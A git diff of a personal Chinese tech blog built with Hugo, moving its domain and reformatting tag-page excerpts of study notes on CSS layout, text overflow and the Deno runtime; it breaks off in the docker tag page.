href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/css/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="css"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/css/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="css"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>css</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>css3学习笔记</h2></header><div class=entry-content><p>盒子模型
 盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model
 外边距（margin）：一般用于控制同辈元素之间的间距
 边框（border）：在内边距和内容之外的边框
 内边距（padding）：内边框是用于控制内容的距离
 内容（content）：内容，一般为文本和图像
 例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子
-div{
-width: 100px;
-borde: 10px solid red;
-padding: 10px;
-margin: 10px;
-}
-top，bottom，left，right分别代表了上，下，左，右
+div{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右
 或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值
 有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下
 这个盒子大小应该是内容的宽度+内边距+边框+外边距
@@ -38,7 +32,7 @@
 绝对定位元素 position (absolute、fixed)
 display 为 inline-block、table-cells、flex
 overflow 除了 visible 以外的值 (hidden、auto、scroll)
-BFC的特性：...</p></div><footer class=entry-footer><span title='2021-06-16 09:21:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css3学习笔记" href=https://xiaochenabc123.github.io/posts/11/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单解决文本溢出问题</h2></header><div class=entry-content><p>当文本宽度超过容器的宽度那么将导致溢出
+BFC的特性：...</p></div><footer class=entry-footer><span title='2021-06-16 09:21:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css3学习笔记" href=https://chenjunlinabc.github.io/posts/11/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单解决文本溢出问题</h2></header><div class=entry-content><p>当文本宽度超过容器的宽度那么将导致溢出
 使用text-overflow属性会修剪文本导致文本显示不全
 这里使用的方法是word-break: break-all+white-space: pre-wrap
 word-break: break-all
@@ -49,7 +43,7 @@
 pre：保留空格，换行保留，不自动换行
 pre-wrap：保留完整空格，保留换行符，自动换行
 pre-line：保留空格（可能不完整），保留换行
-一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能</p></div><footer class=entry-footer><span title='2021-06-16 08:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单解决文本溢出问题" href=https://xiaochenabc123.github.io/posts/6/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/tags/css/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能</p></div><footer class=entry-footer><span title='2021-06-16 08:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单解决文本溢出问题" href=https://chenjunlinabc.github.io/posts/6/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/tags/css/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/deno/index.html b/tags/deno/index.html
index 0c79129f..8f8811ab 100644
--- a/tags/deno/index.html
+++ b/tags/deno/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Deno | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/deno/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/deno/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Deno"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/deno/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Deno"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Deno</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Deno js运行时环境学习笔记</h2></header><div class=entry-content><p>Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Deno | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/deno/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/deno/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Deno"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/deno/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Deno"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Deno</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Deno js运行时环境学习笔记</h2></header><div class=entry-content><p>Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
 Deno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成
 Deno有个特殊的功能，就是可以从网络上导入模块
 安装
@@ -16,11 +16,7 @@
 检查是否安装完成
 deno –version
 第一个例子
-import DFetch from "https://deno.land/x/dfetch/mod.ts"
-DFetch.get("https://xiaochenabc123.test.com").then((response) => {
-console.log(response)
-})
-运行
+import DFetch from "https://deno.land/x/dfetch/mod.ts" DFetch.get("https://xiaochenabc123.test.com").then((response) => { console.log(response) }) 运行
 deno run .\index.ts
 它会向你询问进行网络请求，是否允许，可通过–allow-net默认运行，例如：deno run –allow-net .\index.ts
 第三方库通过https://deno.land/x查找
@@ -35,7 +31,7 @@
 -A 或者 –allow-all 允许全部权限
 VsCode插件deno
 deno内置工具
-安装模块...</p></div><footer class=entry-footer><span title='2022-11-11 07:00:00 +0000 UTC'>2022-11-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Deno js运行时环境学习笔记" href=https://xiaochenabc123.github.io/posts/161/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+安装模块...</p></div><footer class=entry-footer><span title='2022-11-11 07:00:00 +0000 UTC'>2022-11-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Deno js运行时环境学习笔记" href=https://chenjunlinabc.github.io/posts/161/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/deno/index.xml b/tags/deno/index.xml
index 908bacc2..b6791191 100644
--- a/tags/deno/index.xml
+++ b/tags/deno/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Deno on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/deno/</link>
+    <link>https://chenjunlinabc.github.io/tags/deno/</link>
     <description>Recent content in Deno on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Fri, 11 Nov 2022 07:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/deno/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Fri, 11 Nov 2022 07:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/deno/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Deno js运行时环境学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/161/</link>
+      <link>https://chenjunlinabc.github.io/posts/161/</link>
       <pubDate>Fri, 11 Nov 2022 07:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/161/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/161/</guid>
       <description>Deno是基于V8引擎，使用Rust构建的JavaScript &amp;amp; TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
 Deno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成
 Deno有个特殊的功能，就是可以从网络上导入模块
@@ -36,7 +36,7 @@ https://github.com/denoland/deno/releases
 检查是否安装完成
 deno &amp;ndash;version
 第一个例子
-import DFetch from &amp;quot;https://deno.land/x/dfetch/mod.ts&amp;quot;
DFetch.get(&amp;quot;https://xiaochenabc123.test.com&amp;quot;).then((response) =&amp;gt; {
console.log(response)
})
运行
+import DFetch from &amp;quot;https://deno.land/x/dfetch/mod.ts&amp;quot; DFetch.get(&amp;quot;https://xiaochenabc123.test.com&amp;quot;).then((response) =&amp;gt; { console.log(response) }) 运行
 deno run .\index.ts
 它会向你询问进行网络请求，是否允许，可通过&amp;ndash;allow-net默认运行，例如：deno run &amp;ndash;allow-net .\index.ts
 第三方库通过https://deno.land/x查找
diff --git a/tags/deno/page/1/index.html b/tags/deno/page/1/index.html
index 9c68254f..0d424883 100644
--- a/tags/deno/page/1/index.html
+++ b/tags/deno/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/deno/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/deno/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/deno/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/deno/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/deno/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/deno/"></head></html>
\ No newline at end of file
diff --git a/tags/docker/index.html b/tags/docker/index.html
index 6064ed46..95a7a85c 100644
--- a/tags/docker/index.html
+++ b/tags/docker/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>docker | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/docker/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/docker/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 